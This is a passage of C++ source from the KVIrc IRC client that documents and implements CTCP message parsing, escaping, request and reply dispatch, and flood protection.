'0';\n\t\t\t\tmsg_ptr++;\n\t\t\t\tif(*msg_ptr >= '0') && (*msg_ptr < '8'))\n\t\t\t\t{\n\t\t\t\t\tc = ((c << 3) + (*msg_ptr - '0'));\n\t\t\t\t\tmsg_ptr++;\n\t\t\t\t\tif(*msg_ptr >= '0') && (*msg_ptr < '8'))\n\t\t\t\t\t{\n\t\t\t\t\t\tc = ((c << 3) + (*msg_ptr - '0'));\n\t\t\t\t\t\tmsg_ptr++;\n\t\t\t\t\t} // else broken message, but let's be flexible\n\t\t\t\t} // else it is broken, but let's be flexible\n\t\t\t\t// append the character and return\n\t\t\t\t*buffer = c;\n\t\t\t\treturn msg_ptr;\n\t\t\t} else {\n\t\t\t\t// simple escape: just append the following\n\t\t\t\t// character (thus discarding its semantic)\n\t\t\t\t*buffer = *msg_ptr;\n\t\t\t\treturn ++msg_ptr;\n\t\t\t}\n\t\t}\n\n\t\tconst char * extract_ctcp_parameter(const char * msg_ptr,char * buffer,int spaceBreaks)\n\t\t{\n\t\t\t// this one extracts the \"next\" ctcp parameter in msg_ptr\n\t\t\t// it skips the leading and trailing spaces.\n\t\t\t// spaceBreaks should be set to 0 if (and only if) the\n\t\t\t// extracted parameter is the last in the CTCP message.\n\t\t\tint inString = 0;\n\t\t\twhile(*msg_ptr == ' ')msg_ptr++;\n\t\t\twhile(*msg_ptr)\n\t\t\t{\n\t\t\t\tswitch(*msg_ptr)\n\t\t\t\t{\n\t\t\t\t\tcase '\\\\':\n\t\t\t\t\t\t// backslash : escape sequence\n\t\t\t\t\t\tmsg_ptr++;\n\t\t\t\t\t\tif(*msg_ptr)msg_ptr = decode_escape(msg_ptr,buffer);\n\t\t\t\t\t\telse return msg_ptr; // senseless backslash\n\t\t\t\t\tbreak;\n\t\t\t\t\tcase ' ':\n\t\t\t\t\t\t// space : separate tokens?\n\t\t\t\t\t\tif(inString || (!spaceBreaks))*buffer++ = *msg_ptr++;\n\t\t\t\t\t\telse {\n\t\t\t\t\t\t\t// not in string and space breaks: end of token\n\t\t\t\t\t\t\t// skip trailing white space (this could be avoided)\n\t\t\t\t\t\t\t// and return\n\t\t\t\t\t\t\twhile(*msg_ptr == ' ')msg_ptr++;\n\t\t\t\t\t\t\treturn msg_ptr;\n\t\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\t\t\t\t\tcase '\"':\n\t\t\t\t\t\t// a string begin or end\n\t\t\t\t\t\tinString = !inString;\n\t\t\t\t\t\tmsg_ptr++;\n\t\t\t\t\tbreak;\n\t\t\t\t\tdefault:\n\t\t\t\t\t\t// any other char\n\t\t\t\t\t\t*buffer++ = *msg_ptr++;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn msg_ptr;\n\t\t}\n\t\t[/example]\n\t\t[big]CTCP parameter semantics[/big]\n\t\tThe first <ctcp parameter> of a <ctcp message> is the <ctcp tag>: it defines\n\t\tthe semantic of the rest of the message.[br]\n\t\tAlthough it is a convention to specify the <ctcp tag> as uppercase letters,\n\t\tand the original specification says that the whole <ctcp message> is\n\t\tcase sensitive, I'd prefer to follow the IRC message semantic (just to\n\t\thave less \"special cases\") and treat the whole message as [b]case insensitive[/b].[br]\n\t\tThe remaining tokens depend on the <ctcp tag>. A description of known <ctcp tags>\n\t\tand thus <ctcp messages> follows.\n\t\t[big]PING[/big]\n\t\t[b]Syntax: <0x01>PING <data><0x01>[/b][br]\n\t\tThe PING request is used to check the round trip time from one client to another.\n\t\tThe receiving client should reply with exactly the same message but sent\n\t\tthrough a NOTICE instead of a PRIVMSG. The <data> usually contains an unsigned\n\t\tinteger but not necessarily; it is not even mandatory for <data> to be a single token.\n\t\tThe receiver should ignore the semantic of <data>.[br]\n\t\tThe reply is intended to be processed by IRC clients.\n\t\t[big]VERSION[/big]\n\t\t[b]Syntax: <0x01>VERSION<0x01>[/b][br]\n\t\tThe VERSION request asks for information about another user's IRC client program.\n\t\tThe reply should be sent through a NOTICE with the following syntax:[br]\n\t\t<0x01>VERSION <client_version_data><0x01>[br]\n\t\tThe preferred form for <client_version_data> is\n\t\t[i]<client_name>:<client_version>:<client_enviroinement>[/i], but historically\n\t\tclients (and users) send a generic reply describing the client name, version\n\t\tand eventually the used script name. This CTCP reply is intended to be human\n\t\treadable, so any form is accepted.\n\t\t[big]USERINFO[/big]\n\t\t[b]Syntax: <0x01>USERINFO<0x01>[/b][br]\n\t\tThe USERINFO request asks for information about another user.\n\t\tThe reply should be sent through a NOTICE with the following syntax:[br]\n\t\t<0x01>USERINFO <user_info_data><0x01>[br]\n\t\tThe <user_info_data> should be a human readable [i]user defined[/i] string;\n\t\t[big]CLIENTINFO[/big]\n\t\t[b]Syntax: <0x01>CLIENTINFO<0x01>[/b][br]\n\t\tThe CLIENTINFO request asks for information about another user's IRC client program.\n\t\tWhile VERSION requests the client program name and version, CLIENTINFO requests\n\t\tinformation about CTCP capabilities.[br]\n\t\tThe reply should be sent through a NOTICE with the following syntax:[br]\n\t\t<0x01>CLIENTINFO <client_info_data><0x01>[br]\n\t\tThe <client_info_data> should contain a list of supported CTCP request tags.\n\t\tThe CLIENTINFO reply is intended to be human readable.\n\t\t[big]FINGER[/big]\n\t\t[b]Syntax: <0x01>FINGER<0x01>[/b][br]\n\t\tThe FINGER request asks for information about another IRC user.\n\t\tThe reply should be sent through a NOTICE with the following syntax:[br]\n\t\t<0x01>FINGER <user_info_data><0x01>[br]\n\t\tThe <user_info_data> should be a human readable string containing\n\t\tthe system username and possibly the system idle time;\n\t\t[big]SOURCE[/big]\n\t\t[b]Syntax: <0x01>SOURCE<0x01>[/b][br]\n\t\tThe SOURCE request asks for the client homepage or ftp site information.\n\t\tThe reply should be sent through a NOTICE with the following syntax:[br]\n\t\t<0x01>VERSION <homepage_url_data><0x01>[br]\n\t\tThis CTCP reply is intended to be human readable, so any form is accepted.\n\t\t[big]TIME[/big]\n\t\t[b]Syntax: <0x01>TIME<0x01>[/b][br]\n\t\tThe TIME request asks for the user local time.\n\t\tThe reply should be sent through a NOTICE with the following syntax:[br]\n\t\t<0x01>TIME <time and date string><0x01>[br]\n\t\tThis CTCP reply is intended to be human readable, so any form is accepted.\n\t\t[big]ACTION[/big]\n\t\t[b]Syntax: <0x01>ACTION<0x01>[/b][br]\n\t\tThe ACTION tag is used to describe an action.[br]\n\t\tIt should be sent through a NOTICE message and never generate a reply.\n\t\t[big]AVATAR (equivalent to ICON or FACE)[/big]\n\t\t[b]Syntax: <0x01>AVATAR<0x01>[/b][br]\n\t\tThe AVATAR tag is used to query a user's avatar.\n\t\t[big]MULTIMEDIA (equivalent to MM or SOUND)[/big]\n\t\t[b]Syntax: <0x01>MULTIMEDIA <filename><0x01>[/b][br]\n\t\tThe MULTIMEDIA tag is used to play a multimedia file on the receiver's side.[br]\n\t\tThe receiving client should locate the file associated to <filename>,\n\t\tand play it. If the file can not be located\n\t\tby the receiving client, and the MULTIMEDIA tag was sent through a PRIVMSG format CTCP,\n\t\tthe receiving client CAN request a [doc:dcc_connection]DCC GET[/doc] <filename> from the source user.\n\t\tIf the MULTIMEDIA tag was sent through a NOTICE message, the receiving client\n\t\tshould not generate any reply: the message should be notified to the receiving\n\t\tclient's user and then be discarded. The <filename> should never contain a leading\n\t\tpath. If any part of the <filename> appears to be a path component, it should be discarded.\n\t\tThe client may decide to drop the entire message too. Older clients (including\n\t\tolder releases of KVIrc) used to request the missing filenames by a particular\n\t\tnon-standard private message syntax. This convention should be dropped.\n\t\t[big]DCC[/big]\n\t\t[b]Syntax: <0x01>DCC <type> <type dependent parameters><0x01>[/b][br]\n\t\tThe DCC tag is used to initiate a Direct Client Connection.\n\t\tThe known DCC types are:[br]\n\t\t[pre]\n\t\t\tCHAT\n\t\t\tSEND\n\t\t\tSSEND\n\t\t\tTSEND\n\t\t\tGET\n\t\t\tTGET\n\t\t\tACCEPT\n\t\t\tRESUME\n\t\t[/pre]\n*/\n\nvoid KviIrcServerParser::encodeCtcpParameter(const char * param, KviCString & buffer, bool bSpaceBreaks)\n{\n\t//\n\t// This one encodes a single ctcp parameter with the simplest\n\t// subset of rules and places it in the supplied buffer\n\t//\n\tif(!(*param))\n\t{\n\t\t// empty parameter: the only reason we REALLY need the double quotes\n\t\tif(bSpaceBreaks)\n\t\t\tbuffer.append(\"\\\"\\\"\");\n\t\treturn;\n\t}\n\n\tconst char * begin = param;\n\n\twhile(*param)\n\t{\n\t\tswitch(*param)\n\t\t{\n\t\t\tcase ' ':\n\t\t\t\tif(bSpaceBreaks)\n\t\t\t\t{\n\t\t\t\t\tif(param != begin)\n\t\t\t\t\t\tbuffer.append(begin, param - begin);\n\t\t\t\t\tbuffer.append(\"\\\\040\");\n\t\t\t\t\tparam++;\n\t\t\t\t\tbegin = param;\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t// space is non breaking (last parameter)\n\t\t\t\t\tparam++;\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\tcase '\\r':\n\t\t\t\tif(param != begin)\n\t\t\t\t\tbuffer.append(begin, param - begin);\n\t\t\t\tbuffer.append(\"\\\\015\");\n\t\t\t\tparam++;\n\t\t\t\tbegin = param;\n\t\t\t\tbreak;\n\t\t\tcase '\\n':\n\t\t\t\tif(param != begin)\n\t\t\t\t\tbuffer.append(begin, param - begin);\n\t\t\t\tbuffer.append(\"\\\\012\");\n\t\t\t\tparam++;\n\t\t\t\tbegin = param;\n\t\t\t\tbreak;\n\t\t\tcase '\"':\n\t\t\t\tif(param != begin)\n\t\t\t\t\tbuffer.append(begin, param - begin);\n\t\t\t\tbuffer.append(\"\\\\042\");\n\t\t\t\tparam++;\n\t\t\t\tbegin = param;\n\t\t\t\tbreak;\n\t\t\tcase '\\\\':\n\t\t\t\tif(param != begin)\n\t\t\t\t\tbuffer.append(begin, param - begin);\n\t\t\t\tbuffer.append(\"\\\\143\");\n\t\t\t\tparam++;\n\t\t\t\tbegin = param;\n\t\t\t\tbreak;\n\t\t\tcase 0x01:\n\t\t\t\tif(param != begin)\n\t\t\t\t\tbuffer.append(begin, param - begin);\n\t\t\t\tbuffer.append(\"\\\\001\");\n\t\t\t\tparam++;\n\t\t\t\tbegin = param;\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\tparam++;\n\t\t\t\tbreak;\n\t\t}\n\t}\n\n\tif(param != begin)\n\t\tbuffer.append(begin, param - begin);\n}\n\nvoid KviIrcServerParser::encodeCtcpParameter(const char * parametr, QString & resultBuffer, bool bSpaceBreaks)\n{\n\t// This one encodes a single ctcp parameter with the simplest\n\t// subset of rules and places it in the supplied buffer\n\tQByteArray buffer;\n\tconst char * param = parametr;\n\tif(!param)\n\t{\n\t\tif(bSpaceBreaks)\n\t\t\tbuffer.append(\"\\\"\\\"\");\n\t\treturn;\n\t}\n\tif(!(*param))\n\t{\n\t\t// empty parameter: the only reason we REALLY need the double quotes\n\t\tif(bSpaceBreaks)\n\t\t\tbuffer.append(\"\\\"\\\"\");\n\t\treturn;\n\t}\n\n\twhile(*param)\n\t{\n\t\tswitch(*param)\n\t\t{\n\t\t\tcase ' ':\n\t\t\t\tif(bSpaceBreaks)\n\t\t\t\t{\n\t\t\t\t\tbuffer.append(\"\\\\040\");\n\t\t\t\t\tparam++;\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tbuffer += *param;\n\t\t\t\t\tparam++;\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\tcase '\\r':\n\t\t\t\tbuffer.append(\"\\\\015\");\n\t\t\t\tparam++;\n\t\t\t\tbreak;\n\t\t\tcase '\\n':\n\t\t\t\tbuffer.append(\"\\\\012\");\n\t\t\t\tparam++;\n\t\t\t\tbreak;\n\t\t\tcase '\"':\n\t\t\t\tbuffer.append(\"\\\\042\");\n\t\t\t\tparam++;\n\t\t\t\tbreak;\n\t\t\tcase '\\\\':\n\t\t\t\tbuffer.append(\"\\\\143\");\n\t\t\t\tparam++;\n\t\t\t\tbreak;\n\t\t\tcase 0x01:\n\t\t\t\tbuffer.append(\"\\\\001\");\n\t\t\t\tparam++;\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\tbuffer += *param;\n\t\t\t\tparam++;\n\t\t\t\tbreak;\n\t\t}\n\t}\n\tresultBuffer = buffer;\n}\n\nconst char * KviIrcServerParser::decodeCtcpEscape(const char * msg_ptr, KviCString & buffer)\n{\n\t// This one decodes an octal sequence\n\t// and returns the pointer \"just after it\".\n\t// It should be called when *msg_ptr points\n\t// just after a backslash.\n\t// The decoded escape is appended to the buffer\n\t//\n\t// We're also assuming that *msg_ptr is not null here\n\tif((*msg_ptr >= '0') && (*msg_ptr < '8'))\n\t{\n\t\t// a digit follows the backslash */\n\t\tchar c = *msg_ptr - '0';\n\t\tmsg_ptr++;\n\t\tif((*msg_ptr >= '0') && (*msg_ptr < '8'))\n\t\t{\n\t\t\tc = ((c << 3) + (*msg_ptr - '0'));\n\t\t\tmsg_ptr++;\n\t\t\tif((*msg_ptr >= '0') && (*msg_ptr < '8'))\n\t\t\t{\n\t\t\t\tc = ((c << 3) + (*msg_ptr - '0'));\n\t\t\t\tmsg_ptr++;\n\t\t\t} // else broken message, but let's be flexible\n\t\t} // else it is broken, but let's be flexible\n\t\tbuffer.append(c);\n\t\treturn msg_ptr;\n\t}\n\n\tif(*msg_ptr == 'r')\n\t{\n\t\tbuffer.append('\\r');\n\t\treturn ++msg_ptr;\n\t}\n\n\tif(*msg_ptr == 'n')\n\t{\n\t\tbuffer.append('\\n');\n\t\treturn ++msg_ptr;\n\t}\n\n\t// null escape: just append the following\n\t// character (thus discarding its semantics)\n\n\tbuffer.append(msg_ptr);\n\treturn ++msg_ptr;\n}\n\nconst char * KviIrcServerParser::decodeCtcpEscape(const char * msg_ptr, QByteArray & buffer)\n{\n\t// This one decodes an octal sequence\n\t// and returns the pointer \"just after it\".\n\t// It should be called when *msg_ptr points\n\t// just after a backslash.\n\t// The decoded escape is appended to the buffer\n\t//\n\t// We're also assuming that *msg_ptr is not null here\n\tif((*msg_ptr >= '0') && (*msg_ptr < '8'))\n\t{\n\t\t// a digit follows the backslash */\n\t\tchar c = *msg_ptr - '0';\n\t\tmsg_ptr++;\n\t\tif((*msg_ptr >= '0') && (*msg_ptr < '8'))\n\t\t{\n\t\t\tc = ((c << 3) + (*msg_ptr - '0'));\n\t\t\tmsg_ptr++;\n\t\t\tif((*msg_ptr >= '0') && (*msg_ptr < '8'))\n\t\t\t{\n\t\t\t\tc = ((c << 3) + (*msg_ptr - '0'));\n\t\t\t\tmsg_ptr++;\n\t\t\t} // else broken message, but let's be flexible\n\t\t} // else it is broken, but let's be flexible\n\t\tbuffer += (c ? c : ' ');\n\t\treturn msg_ptr;\n\t}\n\n\tif(*msg_ptr == 'r')\n\t{\n\t\tbuffer += '\\r';\n\t\treturn ++msg_ptr;\n\t}\n\tif(*msg_ptr == 'n')\n\t{\n\t\tbuffer += '\\n';\n\t\treturn ++msg_ptr;\n\t}\n\n\t// null escape: just append the following\n\t// character (thus discarding its semantics)\n\n\tbuffer += *msg_ptr;\n\treturn ++msg_ptr;\n}\n\nconst char * KviIrcServerParser::extractCtcpParameter(const char * msg_ptr, KviCString & buffer, bool bSpaceBreaks, bool bSafeOnly)\n{\n\t// This one extracts the \"next\" ctcp parameter in msg_ptr\n\t// and puts it in the supplied buffer.\n\t// It is assumed that the leading and trailing CTCP\n\t// tags have been already removed.\n\t// Skips the leading and trailing spaces.\n\t// bSpaceBreaks should be set to false if (and only if) the\n\t// extracted parameter is the last in a positional parameter\n\t// based CTCP message.\n\n\tif(!msg_ptr)\n\t\treturn nullptr;\n\twhile(*msg_ptr == ' ')\n\t\tmsg_ptr++; // skip leading spaces\n\n\tint bInString = 0;\n\tif(*msg_ptr == '\"')\n\t{\n\t\t// a quoted parameter\n\t\tbInString = 1;\n\t\tmsg_ptr++;\n\t}\n\n\tconst char * begin = msg_ptr;\n\n\twhile(*msg_ptr)\n\t{\n\t\tswitch(*msg_ptr)\n\t\t{\n\t\t\tcase '\\\\':\n\t\t\t\t// backslash : escape sequence\n\t\t\t\tif(bSafeOnly)\n\t\t\t\t\tmsg_ptr++;\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tif(msg_ptr != begin)\n\t\t\t\t\t\tbuffer.append(begin, msg_ptr - begin);\n\t\t\t\t\tmsg_ptr++;\n\t\t\t\t\tif(*msg_ptr)\n\t\t\t\t\t{\n\t\t\t\t\t\t// decode the escape\n\t\t\t\t\t\tmsg_ptr = decodeCtcpEscape(msg_ptr, buffer);\n\t\t\t\t\t\tbegin = msg_ptr;\n\t\t\t\t\t}\n\t\t\t\t\t// else it is a senseless trailing backslash.\n\t\t\t\t\t// Just ignore and let the function\n\t\t\t\t\t// return spontaneously.\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\tcase ' ':\n\t\t\t\t// space : separate tokens if not in string\n\t\t\t\tif(bInString || (!bSpaceBreaks))\n\t\t\t\t\tmsg_ptr++;\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t// Not in string and space breaks: end of token\n\t\t\t\t\t// skip trailing white space (this could be avoided)\n\t\t\t\t\t// and return\n\t\t\t\t\tif(msg_ptr != begin)\n\t\t\t\t\t\tbuffer.append(begin, msg_ptr - begin);\n\t\t\t\t\twhile(*msg_ptr == ' ')\n\t\t\t\t\t\tmsg_ptr++;\n\t\t\t\t\treturn msg_ptr;\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\tcase '\"':\n\t\t\t\tif(bInString && !bSafeOnly)\n\t\t\t\t{\n\t\t\t\t\t// A string terminator. We don't return\n\t\t\t\t\t// immediately since if !bSpaceBreaks\n\t\t\t\t\t// we must handle tokens until the end\n\t\t\t\t\t// and otherwise we just run up to the\n\t\t\t\t\t// next breaking space (but that's a bug anyway, heh).\n\t\t\t\t\tif(msg_ptr != begin)\n\t\t\t\t\t\tbuffer.append(begin, msg_ptr - begin);\n\t\t\t\t\tbInString = 0;\n\t\t\t\t\tmsg_ptr++;\n\t\t\t\t\tbegin = msg_ptr;\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t// we don't begin a string here\n\t\t\t\t\t// since we're in the middle of the token\n\t\t\t\t\t// it is assumed to be simply a non encoded \"\n\t\t\t\t\tmsg_ptr++;\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\t// any other char\n\t\t\t\tmsg_ptr++;\n\t\t\t\tbreak;\n\t\t}\n\t}\n\tif(msg_ptr != begin)\n\t\tbuffer.append(begin, msg_ptr - begin);\n\treturn msg_ptr;\n}\n\nconst char * KviIrcServerParser::extractCtcpParameter(const char * p_msg_ptr, QString & resultBuffer, bool bSpaceBreaks, bool bSafeOnly)\n{\n\t// This one extracts the \"next\" ctcp parameter in p_msg_ptr\n\t// and puts it in the supplied buffer.\n\t// It is assumed that the leading and trailing CTCP\n\t// tags have been already removed.\n\t// Skips the leading and trailing spaces.\n\t// bSpaceBreaks should be set to false if (and only if) the\n\t// extracted parameter is the last in a positional parameter\n\t// based CTCP message.\n\n\tQByteArray buffer;\n\tconst char * msg_ptr = p_msg_ptr;\n\tint bInString = 0;\n\tif(!msg_ptr)\n\t\treturn nullptr;\n\twhile(*msg_ptr == ' ')\n\t\tmsg_ptr++; // skip leading spaces\n\n\tif(*msg_ptr == '\"')\n\t{\n\t\t// a quoted parameter\n\t\tbInString = 1;\n\t\tmsg_ptr++;\n\t}\n\n\twhile(*msg_ptr)\n\t{\n\t\tswitch(*msg_ptr)\n\t\t{\n\t\t\tcase '\\\\':\n\t\t\t\t// backslash : escape sequence\n\t\t\t\tif(bSafeOnly)\n\t\t\t\t\tmsg_ptr++;\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tmsg_ptr++;\n\t\t\t\t\tif(*msg_ptr)\n\t\t\t\t\t{\n\t\t\t\t\t\t// decode the escape\n\t\t\t\t\t\tmsg_ptr = decodeCtcpEscape(msg_ptr, buffer);\n\t\t\t\t\t}\n\t\t\t\t\t// else it is a senseless trailing backslash.\n\t\t\t\t\t// Just ignore and let the function\n\t\t\t\t\t// return spontaneously.\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\tcase ' ':\n\t\t\t\t// space : separate tokens if not in string\n\t\t\t\tif(bInString || (!bSpaceBreaks))\n\t\t\t\t{\n\t\t\t\t\tbuffer += *msg_ptr;\n\t\t\t\t\tmsg_ptr++;\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t// Not in string and space breaks: end of token\n\t\t\t\t\t// skip trailing white space (this could be avoided)\n\t\t\t\t\t// and return\n\t\t\t\t\twhile(*msg_ptr == ' ')\n\t\t\t\t\t\tmsg_ptr++;\n\t\t\t\t\tresultBuffer = buffer;\n\t\t\t\t\treturn msg_ptr;\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\tcase '\"':\n\t\t\t\tif(bInString && !bSafeOnly)\n\t\t\t\t{\n\t\t\t\t\t// A string terminator. We don't return\n\t\t\t\t\t// immediately since if !bSpaceBreaks\n\t\t\t\t\t// we must handle tokens until the end\n\t\t\t\t\t// and otherwise we just run up to the\n\t\t\t\t\t// next breaking space (but that's a bug anyway, heh).\n\t\t\t\t\tbuffer += *msg_ptr;\n\t\t\t\t\tbInString = 0;\n\t\t\t\t\tmsg_ptr++;\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t// we don't begin a string here\n\t\t\t\t\t// since we're in the middle of the token\n\t\t\t\t\t// it is assumed to be simply a non encoded \"\n\t\t\t\t\tbuffer += *msg_ptr;\n\t\t\t\t\tmsg_ptr++;\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\t// any other char\n\t\t\t\tbuffer += *msg_ptr;\n\t\t\t\tmsg_ptr++;\n\t\t\t\tbreak;\n\t\t}\n\t}\n\tresultBuffer = buffer;\n\treturn msg_ptr;\n}\n\nvoid KviIrcServerParser::parseCtcpRequest(KviCtcpMessage * msg)\n{\n\tmsg->pData = extractCtcpParameter(msg->pData, msg->szTag);\n\n\tbool bAction = KviQString::equalCI(msg->szTag, \"ACTION\");\n\n\tif (!bAction)\n\t{\n\t\tif (IS_ME(msg->msg, msg->pSource->nick()) && !IS_ME(msg->msg, msg->szTarget))\n\t\t{\n\t\t\t// \"znc.in/self-message\" capability: Handle a replayed message from ourselves to someone else.\n\t\t\treturn;\n\t\t}\n\t}\n\n\tif(msg->szTag == \"DCC\" || msg->szTag == \"XDCC\" || msg->szTag == \"TDCC\") // is dcc request\n\t{\n\t\tif(KVI_OPTION_BOOL(KviOption_boolIgnoreCtcpDcc))\n\t\t{\n\t\t\tmsg->msg->console()->output(KVI_OUT_IGNORE, __tr2qs(\"Ignoring DCC from \\r!nc\\r%s\\r [%s@\\r!h\\r%s\\r]\"),\n\t\t\t msg->pSource->nick().toUtf8().data(),\n\t\t\t msg->pSource->user().toUtf8().data(),\n\t\t\t msg->pSource->host().toUtf8().data());\n\t\t\treturn;\n\t\t}\n\t}\n\telse\n\t{\n\n\t\tKviRegisteredUser * u = msg->msg->connection()->userDataBase()->registeredUser(msg->pSource->nick(), msg->pSource->user(), msg->pSource->host());\n\n\t\t//Ignore it?\n\t\tif(u)\n\t\t{\n\t\t\tif(\n\t\t\t (!bAction && u->isIgnoreEnabledFor(KviRegisteredUser::Ctcp)) || (bAction && u->isIgnoreEnabledFor(IS_ME(msg->msg, msg->szTarget) ? KviRegisteredUser::Query : KviRegisteredUser::Channel)))\n\t\t\t{\n\t\t\t\tif(KVI_OPTION_BOOL(KviOption_boolVerboseIgnore))\n\t\t\t\t{\n\t\t\t\t\tmsg->msg->console()->output(KVI_OUT_IGNORE, __tr2qs(\"Ignoring CTCP from \\r!nc\\r%s\\r [%s@\\r!h\\r%s\\r]\"),\n\t\t\t\t\t msg->pSource->nick().toUtf8().data(),\n\t\t\t\t\t msg->pSource->user().toUtf8().data(),\n\t\t\t\t\t msg->pSource->host().toUtf8().data());\n\t\t\t\t}\n\t\t\t\treturn;\n\t\t\t}\n\t\t}\n\t}\n\n\tfor(int i = 0; m_ctcpParseProcTable[i].msgName; i++)\n\t{\n\t\tif(KviQString::equalCS(KviQString::upperISO88591(msg->szTag), m_ctcpParseProcTable[i].msgName)\n\t\t && m_ctcpParseProcTable[i].req)\n\t\t{\n\t\t\tif(!(m_ctcpParseProcTable[i].iFlags & KVI_CTCP_MESSAGE_PARSE_TRIGGERNOEVENT))\n\t\t\t{\n\t\t\t\tQString szData = msg->msg->connection()->decodeText(msg->pData);\n\t\t\t\tif(\n\t\t\t\t KVS_TRIGGER_EVENT_6_HALTED(\n\t\t\t\t KviEvent_OnCTCPRequest,\n\t\t\t\t msg->msg->console(),\n\t\t\t\t msg->pSource->nick(),\n\t\t\t\t msg->pSource->user(),\n\t\t\t\t msg->pSource->host(),\n\t\t\t\t msg->szTarget,\n\t\t\t\t msg->szTag,\n\t\t\t\t szData))\n\t\t\t\t\treturn;\n\t\t\t}\n\t\t\t(this->*(m_ctcpParseProcTable[i].req))(msg);\n\t\t\treturn;\n\t\t}\n\t}\n\n\tQString szData = msg->msg->connection()->decodeText(msg->pData);\n\t// trigger the event on unrecognized requests too\n\tif(\n\t KVS_TRIGGER_EVENT_6_HALTED(\n\t KviEvent_OnCTCPRequest,\n\t msg->msg->console(),\n\t msg->pSource->nick(),\n\t msg->pSource->user(),\n\t msg->pSource->host(),\n\t msg->szTarget,\n\t msg->szTag,\n\t szData))\n\t\treturn;\n\n\t// unknown\n\tmsg->bUnknown = true;\n\techoCtcpRequest(msg);\n}\n\nvoid KviIrcServerParser::parseCtcpReply(KviCtcpMessage * msg)\n{\n\tmsg->pData = extractCtcpParameter(msg->pData, msg->szTag);\n\n\tfor(int i = 0; m_ctcpParseProcTable[i].msgName; i++)\n\t{\n\t\tif(KviQString::equalCS(KviQString::upperISO88591(msg->szTag), m_ctcpParseProcTable[i].msgName)\n\t\t && m_ctcpParseProcTable[i].rpl)\n\t\t{\n\t\t\tif(!(m_ctcpParseProcTable[i].iFlags & KVI_CTCP_MESSAGE_PARSE_TRIGGERNOEVENT))\n\t\t\t{\n\t\t\t\tQString szData = msg->msg->connection()->decodeText(msg->pData);\n\t\t\t\tif(KVS_TRIGGER_EVENT_6_HALTED(KviEvent_OnCTCPReply,\n\t\t\t\t msg->msg->console(), msg->pSource->nick(), msg->pSource->user(),\n\t\t\t\t msg->pSource->host(), msg->szTarget, msg->szTag, szData))\n\t\t\t\t\treturn;\n\t\t\t}\n\t\t\t(this->*(m_ctcpParseProcTable[i].rpl))(msg);\n\t\t\treturn;\n\t\t}\n\t}\n\n\tQString szData = msg->msg->connection()->decodeText(msg->pData);\n\t// trigger the event on unrecognized replies too\n\tif(KVS_TRIGGER_EVENT_6_HALTED(KviEvent_OnCTCPReply,\n\t msg->msg->console(), msg->pSource->nick(), msg->pSource->user(),\n\t msg->pSource->host(), msg->szTarget, msg->szTag, szData))\n\t\treturn;\n\n\t// unknown\n\tmsg->bUnknown = true;\n\techoCtcpReply(msg);\n}\n\n// Ctcp message handlers\n\nbool KviIrcServerParser::checkCtcpFlood(KviCtcpMessage * msg)\n{\n\tif(!KVI_OPTION_BOOL(KviOption_boolUseCtcpFloodProtection))\n\t\treturn false;\n\n\tkvi_time_t tNow = kvi_unixTime();\n\n\tKviIrcConnectionAntiCtcpFloodData * d = msg->msg->connection()->antiCtcpFloodData();\n\n\tunsigned int interval = (unsigned int)(((unsigned int)tNow) - ((unsigned int)d->lastCtcpTime()));\n\n\tif(interval < KVI_OPTION_UINT(KviOption_uintCtcpFloodCheckInterval))\n\t{\n\t\td->increaseCtcpCount();\n\t\tif(d->ctcpCount() > KVI_OPTION_UINT(KviOption_uintMaxCtcpRequests))\n\t\t{\n\t\t\t// This is flood\n\t\t\tmsg->bIsFlood = true;\n\t\t\treturn true;\n\t\t}\n\t}\n\telse\n\t{\n\t\td->setLastCtcpTime(tNow);\n\t\td->setCtcpCount(1);\n\t}\n\treturn false;\n}\n\nvoid KviIrcServerParser::replyCtcp(KviCtcpMessage * msg, const QString & data)\n{\n\tQByteArray szNick = msg->msg->connection()->encodeText(msg->pSource->nick());\n\tmsg->msg->connection()->sendFmtData(\n\t \"NOTICE %s :%c%s %s%c\",\n\t szNick.data(),\n\t 0x01,\n\t msg->msg->connection()->encodeText(msg->szTag).data(),\n\t msg->msg->connection()->encodeText(data).data(),\n\t 0x01);\n}\n\nvoid KviIrcServerParser::echoCtcpReply(KviCtcpMessage * msg)\n{\n\tif(!msg->msg->haltOutput())\n\t{\n\t\tKviWindow * pOut = KVI_OPTION_BOOL(KviOption_boolCtcpRepliesToActiveWindow) ? msg->msg->console()->activeWindow() : msg->msg->console();\n\n\t\tbool bIsChannel = false;\n\n\t\tif(!IS_ME(msg->msg, msg->szTarget))\n\t\t{\n\t\t\t// Channel ctcp request!\n\t\t\tpOut = msg->msg->connection()->findChannel(msg->szTarget);\n\t\t\tif(!pOut)\n\t\t\t{\n\t\t\t\tpOut = msg->msg->console();\n\t\t\t\tpOut->output(KVI_OUT_SYSTEMWARNING,\n\t\t\t\t __tr2qs(\"The following CTCP reply has unrecognized target %Q\"), &(msg->szTarget));\n\t\t\t}\n\t\t\telse\n\t\t\t\tbIsChannel = true;\n\t\t}\n\n\t\tQString szData = msg->msg->connection()->decodeText(msg->pData);\n\n\t\tQString szWhat = bIsChannel ? __tr2qs(\"Channel CTCP\") : QString(\"CTCP\");\n\n\t\tpOut->output(\n\t\t msg->bUnknown ? KVI_OUT_CTCPREPLYUNKNOWN : 